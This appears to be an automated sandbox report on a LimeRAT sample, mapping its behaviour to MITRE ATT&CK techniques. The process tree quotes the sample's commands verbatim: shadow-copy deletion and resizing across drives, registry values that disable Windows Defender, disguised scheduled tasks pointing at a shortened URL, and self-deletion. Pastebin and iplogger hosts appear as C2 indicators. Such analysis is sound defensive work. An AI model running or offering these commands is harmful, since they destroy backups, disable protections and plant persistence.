limerat | 1894c87402a76aee2b84ee22449b925486e428f690e42fe288a3982ed71ab20f

Processes:

Client.exeAdminMIcrosoft TeamsMIcrosoft Teams.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "explorer.exe,\"C:\\Users\\AdminMIcrosoft TeamsMIcrosoft Teams.exe\""	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "explorer.exe,\"C:\\Users\\AdminMIcrosoft TeamsMIcrosoft Teams.exe\""	AdminMIcrosoft TeamsMIcrosoft Teams.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

T1562.001

Processes:

Client.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	Client.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	Client.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

Windows Service

Processes:

Client.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	Client.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Executes dropped EXE 1 IoCs

Processes:

AdminMIcrosoft TeamsMIcrosoft Teams.exe

pid	Process
1716	AdminMIcrosoft TeamsMIcrosoft Teams.exe

Enumerates connected drives 3 TTPs 15 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	Process
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

Processes:

flow	ioc
10	pastebin.com
11	pastebin.com
12	pastebin.com
1	iplogger.org
1	pastebin.com
2	iplogger.org
4	pastebin.com
6	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	Process
1372	schtasks.exe
3268	schtasks.exe
4952	schtasks.exe
2116	schtasks.exe
1240	schtasks.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Interacts with shadow copies 2 TTPs 12 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	Process
3252	vssadmin.exe
3668	vssadmin.exe
896	vssadmin.exe
2280	vssadmin.exe
2580	vssadmin.exe
2076	vssadmin.exe
3308	vssadmin.exe
3036	vssadmin.exe
4024	vssadmin.exe
3928	vssadmin.exe
2272	vssadmin.exe
2444	vssadmin.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
1080	PING.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

Client.exepowershell.exeAdminMIcrosoft TeamsMIcrosoft Teams.exe

pid	Process
5068	Client.exe
5068	Client.exe
5068	Client.exe
1300	powershell.exe
1300	powershell.exe
1716	AdminMIcrosoft TeamsMIcrosoft Teams.exe
1716	AdminMIcrosoft TeamsMIcrosoft Teams.exe
1716	AdminMIcrosoft TeamsMIcrosoft Teams.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

Client.exepowershell.exevssvc.exeAdminMIcrosoft TeamsMIcrosoft Teams.exe

description	pid	Process
Token: SeDebugPrivilege	5068	Client.exe
Token: SeDebugPrivilege	1300	powershell.exe
Token: SeBackupPrivilege	3344	vssvc.exe
Token: SeRestorePrivilege	3344	vssvc.exe
Token: SeAuditPrivilege	3344	vssvc.exe
Token: SeBackupPrivilege	5068	Client.exe
Token: SeSecurityPrivilege	5068	Client.exe
Token: SeBackupPrivilege	5068	Client.exe
Token: SeDebugPrivilege	1716	AdminMIcrosoft TeamsMIcrosoft Teams.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Client.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 5068 wrote to memory of 1300	5068	Client.exe	82
PID 5068 wrote to memory of 1300	5068	Client.exe	82
PID 5068 wrote to memory of 840	5068	Client.exe	84
PID 5068 wrote to memory of 840	5068	Client.exe	84
PID 5068 wrote to memory of 1408	5068	Client.exe	85
PID 5068 wrote to memory of 1408	5068	Client.exe	85
PID 5068 wrote to memory of 1184	5068	Client.exe	86
PID 5068 wrote to memory of 1184	5068	Client.exe	86
PID 5068 wrote to memory of 3568	5068	Client.exe	87
PID 5068 wrote to memory of 3568	5068	Client.exe	87
PID 5068 wrote to memory of 1552	5068	Client.exe	89
PID 5068 wrote to memory of 1552	5068	Client.exe	89
PID 5068 wrote to memory of 416	5068	Client.exe	90
PID 5068 wrote to memory of 416	5068	Client.exe	90
PID 5068 wrote to memory of 3132	5068	Client.exe	92
PID 5068 wrote to memory of 3132	5068	Client.exe	92
PID 5068 wrote to memory of 1912	5068	Client.exe	93
PID 5068 wrote to memory of 1912	5068	Client.exe	93
PID 5068 wrote to memory of 1820	5068	Client.exe	94
PID 5068 wrote to memory of 1820	5068	Client.exe	94
PID 5068 wrote to memory of 5112	5068	Client.exe	95
PID 5068 wrote to memory of 5112	5068	Client.exe	95
PID 5068 wrote to memory of 2760	5068	Client.exe	96
PID 5068 wrote to memory of 2760	5068	Client.exe	96
PID 5068 wrote to memory of 2860	5068	Client.exe	97
PID 5068 wrote to memory of 2860	5068	Client.exe	97
PID 5068 wrote to memory of 3408	5068	Client.exe	98
PID 5068 wrote to memory of 3408	5068	Client.exe	98
PID 840 wrote to memory of 3036	840	cmd.exe	110
PID 840 wrote to memory of 3036	840	cmd.exe	110
PID 1912 wrote to memory of 3252	1912	cmd.exe	112
PID 1912 wrote to memory of 3252	1912	cmd.exe	112
PID 1408 wrote to memory of 1692	1408	cmd.exe	113
PID 1408 wrote to memory of 1692	1408	cmd.exe	113
PID 5112 wrote to memory of 4024	5112	cmd.exe	114
PID 5112 wrote to memory of 4024	5112	cmd.exe	114
PID 2760 wrote to memory of 896	2760	cmd.exe	115
PID 2760 wrote to memory of 896	2760	cmd.exe	115
PID 3408 wrote to memory of 3668	3408	cmd.exe	116
PID 3408 wrote to memory of 3668	3408	cmd.exe	116
PID 416 wrote to memory of 2444	416	cmd.exe	118
PID 416 wrote to memory of 2444	416	cmd.exe	118
PID 1184 wrote to memory of 2272	1184	cmd.exe	119
PID 1184 wrote to memory of 2272	1184	cmd.exe	119
PID 3568 wrote to memory of 2076	3568	cmd.exe	120
PID 3568 wrote to memory of 2076	3568	cmd.exe	120
PID 1552 wrote to memory of 2280	1552	cmd.exe	121
PID 1552 wrote to memory of 2280	1552	cmd.exe	121
PID 3132 wrote to memory of 3928	3132	cmd.exe	122
PID 3132 wrote to memory of 3928	3132	cmd.exe	122
PID 1820 wrote to memory of 2580	1820	cmd.exe	123
PID 1820 wrote to memory of 2580	1820	cmd.exe	123
PID 2860 wrote to memory of 3308	2860	cmd.exe	124
PID 2860 wrote to memory of 3308	2860	cmd.exe	124
PID 5068 wrote to memory of 1372	5068	Client.exe	125
PID 5068 wrote to memory of 1372	5068	Client.exe	125
PID 5068 wrote to memory of 3268	5068	Client.exe	126
PID 5068 wrote to memory of 3268	5068	Client.exe	126
PID 5068 wrote to memory of 4952	5068	Client.exe	127
PID 5068 wrote to memory of 4952	5068	Client.exe	127
PID 5068 wrote to memory of 2116	5068	Client.exe	128
PID 5068 wrote to memory of 2116	5068	Client.exe	128
PID 5068 wrote to memory of 1240	5068	Client.exe	129
PID 5068 wrote to memory of 1240	5068	Client.exe	129

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender Real-time Protection settings
- Modifies security service
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1300
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin Delete Shadows /all /quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:840
- - C:\Windows\system32\vssadmin.exe
    vssadmin Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3036
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
    3⤵
    PID:1692
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2272
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2076
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1552
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2280
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:416
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2444
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3132
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3928
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3252
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2580
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5112
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4024
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:896
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3308
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c Vssadmin delete shadowstorage /all /quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\system32\vssadmin.exe
    Vssadmin delete shadowstorage /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3668
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "20:17" /sc daily /mo "3" /tn "Intel Platform Trust Technology" /tr "'explorer'http://bit.ly/2uTvEZn"
  2⤵
  - Creates scheduled task(s)
  PID:1372
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "18:29" /sc daily /mo "5" /tn "Intel Platform Trust Technology" /tr "'explorer'http://bit.ly/2uTvEZn"
  2⤵
  - Creates scheduled task(s)
  PID:3268
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "09:53" /sc daily /mo "1" /tn "Intel Platform Trust Technology" /tr "'explorer'http://bit.ly/2uTvEZn"
  2⤵
  - Creates scheduled task(s)
  PID:4952
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "13:02" /sc weekly /mo "3" /d "Sun" /tn "Intel Platform Trust Technology" /tr "'explorer'http://bit.ly/2uTvEZn"
  2⤵
  - Creates scheduled task(s)
  PID:2116
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "05:01" /sc monthly /m "may" /tn "Intel Platform Trust Technology" /tr "'explorer'http://bit.ly/2uTvEZn"
  2⤵
  - Creates scheduled task(s)
  PID:1240
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c ping 0 -n 2 & del "C:\Users\Admin\AppData\Local\Temp\Client.exe"
  2⤵
  PID:1852
- - C:\Windows\system32\PING.EXE
    ping 0 -n 2
    3⤵
    - Runs ping.exe
    PID:1080
- C:\Users\AdminMIcrosoft TeamsMIcrosoft Teams.exe
  "C:\Users\AdminMIcrosoft TeamsMIcrosoft Teams.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1716

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry